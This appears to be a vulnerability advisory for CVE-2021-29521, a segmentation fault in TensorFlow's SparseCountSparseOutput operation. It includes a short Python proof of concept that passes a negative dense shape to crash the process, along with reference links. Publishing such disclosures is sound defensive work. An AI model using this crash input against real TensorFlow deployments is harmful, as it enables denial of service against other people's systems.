CVE-2021-29521: Segfault in SparseCountSparseOutput
(updated )
Specifying a negative dense shape in tf.raw_ops.SparseCountSparseOutput
results in a segmentation fault being thrown out from the standard library as std::vector
invariants are broken.
import tensorflow as tf
indices = tf.constant([], shape=[0, 0], dtype=tf.int64)
values = tf.constant([], shape=[0, 0], dtype=tf.int64)
dense_shape = tf.constant([-100, -100, -100], shape=[3], dtype=tf.int64)
weights = tf.constant([], shape=[0, 0], dtype=tf.int64)
tf.raw_ops.SparseCountSparseOutput(indices=indices, values=values, dense_shape=dense_shape, weights=weights, minlength=79, maxlength=96, binary_output=False)
References
- github.com/advisories/GHSA-hr84-fqvp-48mm
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-449.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-647.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-158.yaml
- github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5
- github.com/tensorflow/tensorflow/security/advisories/GHSA-hr84-fqvp-48mm
- nvd.nist.gov/vuln/detail/CVE-2021-29521
Detect and mitigate CVE-2021-29521 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →